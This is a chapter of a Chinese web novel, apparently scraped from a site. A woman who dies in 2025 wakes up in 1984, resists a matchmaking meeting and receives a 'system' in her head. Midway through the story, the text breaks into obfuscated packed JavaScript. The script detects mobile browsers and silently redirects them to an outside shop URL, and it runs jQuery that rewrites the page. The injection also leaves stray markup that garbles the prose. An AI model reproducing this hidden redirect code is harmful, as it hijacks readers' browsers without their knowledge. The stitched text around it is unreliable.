“滴滴滴滴——哔——”
心电监护仪的刺耳长鸣，是时墨在2025年听到的最后一个声音。
时墨最后的意识，停留在ICU病房惨白的天花板上。
耳边是医生匆忙的脚步、仪器移动的摩擦声，还有自己那未曾来得及花完的存款数字——像一场荒诞的默剧，在她脑中无声滚过。
人生最悲惨的事是什么？
人死了，钱没花完！
操，我刚全款买的大平层，刚装修完，一天没住！
·
漫长、虚无的黑暗。
“砰！”
时墨重重摔在硬板床上，后脑勺磕得生疼。
她猛地睁眼，大口大口地呼吸。
空气里有股陌生的味道——陈年木料混合着旧报纸的油墨味，还有一种……煤球燃烧后淡淡的烟火气。
视线从模糊到清晰。
撞入眼帘的是糊着旧报纸的天花板，边角泛黄卷起，隐约能看见“为实现四个现代化而奋斗”的标题字。
一盏拉线开关的钨丝灯泡垂在正中。
时墨僵住了。
这不是医院，甚至不是她认知里的任何一个地方。
她缓慢地转动脖颈，骨缝间发出咯吱咯吱摩擦声。
硬板床，蓝格子床单洗得发白，木质窗框漆皮剥落。
窗外传来自行车铃铛声。
清脆的“叮铃铃”，由远及近，又远去。
收音机传来广播的电流杂音：“……中央人民广播电台……现在是京市时间早上七点整……”
她撑起身体，动作因为过度谨慎而显得迟缓。腿脚发软，但她强迫自己站起来，踉跄走向屋里那面挂在门后的椭圆形镜子。
镜面有些模糊，映出一张年轻，苍白，五官明艳，陌生又熟悉的脸。
这是……她十八岁时的脸。
这会镜子里的她透着病态的憔悴，及腰的长发凌乱披散着……
时墨的手指颤抖着触上镜面，余光看到墙上日历印着“1984”，瞳孔骤缩。
1984？！
“吱呀——”
木门被推开。
时墨浑身一颤，倏地收回手，迅速垂下眼睫，掩去所有情绪。
“墨墨？醒了？”一个带着担忧的女声传来，脚步声靠近。
时墨用余光瞥见一双穿着灰色布鞋的脚，洗得发白的裤腿，然后是一件碎花衬衫的下摆。
温热粗糙的手掌轻轻贴上她的额头。
时墨的身体，瞬间僵硬到极致。
“还好，不烧了。”围着围裙的中年女人松了口气，声音里带着心疼，“你说你这孩子，学习也不能不要命啊！昨天晕过去可把妈吓坏了……”
妈？
时墨猛地抬眼。
这张脸——
时墨的呼吸，几乎停止。
这张脸……和她妈妈年轻时的模样有七八分相似。尤其是那双眼睛，看人时总带着温柔的弧度。
可她妈妈早在五年前就去世了。
“怎么了？还难受？”李秀兰见女儿直勾勾盯着自己，脸色发白，更担心了，“快坐下，妈给你煮了红糖鸡蛋，趁热吃。”
她自然地扶住时墨的胳膊，将她带到床边坐下。
时墨任由她动作，脑子里却像炸开了一锅沸水。
怎么回事？穿越？平行世界？还是死前的幻觉？
可额头上残留的温热触感，空气里红糖鸡蛋甜腻的香气，窗外真真切切的自行车铃声……一切都真实得可怕。
时墨垂下的右手攥紧，指甲抠进掌心，疼痛感使她大脑保持住冷静。
“墨墨？”李秀兰端着一碗冒着热气的红糖鸡蛋水回来，见女儿还愣着，叹了口气，“是不是还头疼？今天刘婶说的那个相亲，咱不去了，妈一会儿就去推了……”
相亲？
时墨捕捉到这个关键词，混乱的思绪像是突然找到了一个锚点。
她必须冷静，必须弄明白现状。
根据这个“母亲”的话语和眼前的环境，她很可能回到了过去，或者穿越到了平行世界的八十年代。
原主也叫“墨墨”，昨天因为学习晕倒，家里安排了相亲……
信息碎片迅速组合。
时墨垂下眼，接过碗，指尖碰到温热的搪瓷碗壁。
她模仿着少女该有的病弱感，小声开口，声音还带着恰到好处的沙哑：“妈……我没事。就是有点……没缓过来，脑袋发钝。”
时墨小口小口吃着糖水鸡蛋，味蕾传来的真实感进一步确认了这不是梦。她一边吃，一边用余光快速扫视房间：书桌上堆着高中课本和试卷，墙上贴着“三好学生”奖状，一个手工打造的书架，上面塞满了书。
很典型的努力型学生房间。
“没事就好。快把鸡蛋吃了，补补身体。”李秀兰果然没察觉异常，只是心疼地摸摸她的头发：“你刘婶也是好心，说女孩子年纪到了，考不上大学不如早点定下来，妈倒觉得……”
话音未落，门外传来邻居的大嗓门：“秀兰！在家不？我跟你说，我娘家侄儿可等着信儿呢！时墨要是愿意，明天就能见！”
李秀兰尴尬地应了一声，转头对时墨小声说：“你别听她们瞎说。妈支持你再考一年，咱不着急嫁人。”
时墨垂着眼，没说话。
脑子里却在飞速运转：1984年，高考，复读，相亲，嫁人……
这时，外间传来开门声和男人的说话声。
“小军，轻点声，墨墨可能还睡着。”
“知道了爸。”
两个男人一前一后进来。
走在前面的中年男人穿着藏蓝色工装，面容严肃，但眼神温和。后面跟着一个高瘦青年，小麦色皮肤，汗衫上还沾着灰，一看就是刚干完体力活。
时墨的目光落在中年男人脸上时，握着勺子的手，几不可查地抖了一下。
这张脸……和记忆里父亲早年的照片好像。
国字脸，浓眉，带着工人特有的朴实和坚毅，连看人时微微皱眉的习惯，都一模一样。
“墨墨醒了？”时爱国看到女儿，严肃的脸上露出笑意，走过来仔细看了看她的脸色，“气色好点了，今天别看书了，好好休息。”
“嗯……”时墨低声叫了一句，迅速低下头，借着喝糖水的动作掩饰瞬间翻涌的情绪。
时建军凑到床边，关心道：“没事就好，昨天可吓死我了。”他顿了顿，压低声音，“那个……周晓娟给你写信没？”
周晓娟？谁？
时墨不吭声。
时建军眼里闪过一丝失落，但很快又振作起来：“没事！她刚开学肯定忙！”他转头对父母说，“爸，妈，墨墨现在这样就挺好，相亲啥的别急了，我妹肯定能考上大学！”
李秀兰无奈道：“妈不急，可外人急啊。刘婶、王婶她们天天问，话里话外都是女孩子年纪到了，刚才还在外面喊呢……”
“她们懂啥！”时建军梗着脖子，“我妹是要做大事的！”
一家人的对话平凡而温暖，却让时墨心底掀起了惊涛骇浪。
这不像是简单的穿越。
这个世界，这个家庭，仿佛是根据她内心最深的渴望和遗憾，编织出来的一场逼真幻境——父母健在，家庭和睦，哥哥爱护……一切都美好得不真实。
门外又传来声音。
“时师傅在家不？”
时爱国去开门。
来人是邻居王婶，挤进门就笑：“时师傅，秀兰，我给墨墨找了个好对象！供电局的，正式编制，家里有房！”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126916|196120||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>李秀兰尴尬地笑：“王姐，墨墨还想再考一年……”
“还考啥呀！”王婶嗓门大，“女孩子读那么多书有啥用？最后不还得嫁人？趁现在年轻漂亮，赶紧找个好婆家是正经！”
时爱国脸色沉了沉，但没说话。
时建军想开口，被母亲用眼神制止。
屋子里气氛尴尬。
时墨放下碗，抬起眼，看向王婶。
她的眼神很静，静得有些冷。
“王婶。”时墨开口，声音不大，但清晰，“我哥的指标，大概什么时候能下来？”
话题突然转向，王婶一愣，不知道怎么说起这个：“啊？建军那个……得等你爸退休吧？还得两三年呢。”
“两三年啊。”时墨点点头，又问，“那要是这两年，有人给我哥介绍对象，对方家里要求有正式工作，怎么办？”
王婶有些懵。
时墨继续问，语气依旧平静：“我要是现在嫁人，嫁妆从哪儿出？我爸妈工资就那些，还得供我再考一年，攒得起嫁妆吗？”
“这……”王婶脸色变了变。
时墨看着她：“您说女孩子读书没用。那些考上大学的女孩子，毕业就是国家干部，她们找对象和我会一样吗？”
三个问题，句句戳心。
王婶脸一阵红一阵白，讪讪道：“我、我也是好心……”
“知道您是好心。”时墨站起身，语气缓和了些，但眼神依旧清亮，“但王婶，时代不一样了。现在国家鼓励读书，鼓励上进。我哥在等指标，我在准备复读，我们都想往高处走。您要真想帮我们——”
她顿了顿，微微一笑：“不如帮我哥留意留意，哪儿有夜校或者技术培训班？让他多学点本事，以后就算进厂，也能往技术岗走。”
一番话，软中带硬，既拒绝了相亲，又抬高了自家，还给了对方台阶下。
王婶张了张嘴，最终点头：“也、也是……那我回去问问。”
送走王婶，屋里一片寂静。
时爱国和李秀兰看着女儿，眼神复杂——惊讶，欣慰，还有一丝担忧。
时建军更是眼睛发亮：“墨墨，你刚才……太厉害了！不愧是我妹！”
时墨重新坐下，端起碗：“爸，妈，我明年还想考。相亲的事，先缓缓吧。”
时爱国重重点头：“考！爸支持你！”
李秀兰也笑：“好好好，咱不着急。”
早饭后，时爱国和李秀兰去上班，时建军也匆匆出门继续干活，家里只剩下时墨一人。
她关上房门，背靠着冰冷的木门板，缓缓滑坐到地上。
脸上那层伪装一点点剥落，取而代之的，是一种极致的冷静。
她抬起自己的手，看着这双更年轻、更纤细的手，笑了。
窗外阳光明媚，大院里传来孩子们嬉戏打闹的声音，充满蓬勃的生气。
时墨闭上眼，深深吸了一口重生的空气。
再睁开时，眼底所有迷茫、震惊、柔软，都被彻底封存。
取而代之的，是属于那个在互联网丛林里厮杀出来的卷王时墨的锐利光芒。
不管这是哪里，不管代价是什么。
她活下来了。
而活下来，就有无限可能。
她走到窗边，看着外面充满年代感的街景，灰扑扑的筒子楼，穿梭的自行车，远处工厂的烟囱……
1984年。
一个她曾无数次在历史资料和父辈回忆中憧憬过、分析过的时代。
时墨的嘴角，极其缓慢地，勾起一个冰冷的、势在必得的弧度。
“叮——”
一个冰冷的机械音毫无征兆地在脑海响起。
【检测到宿主已适应新环境。生命质量矫正系统AL-89757，正式激活。】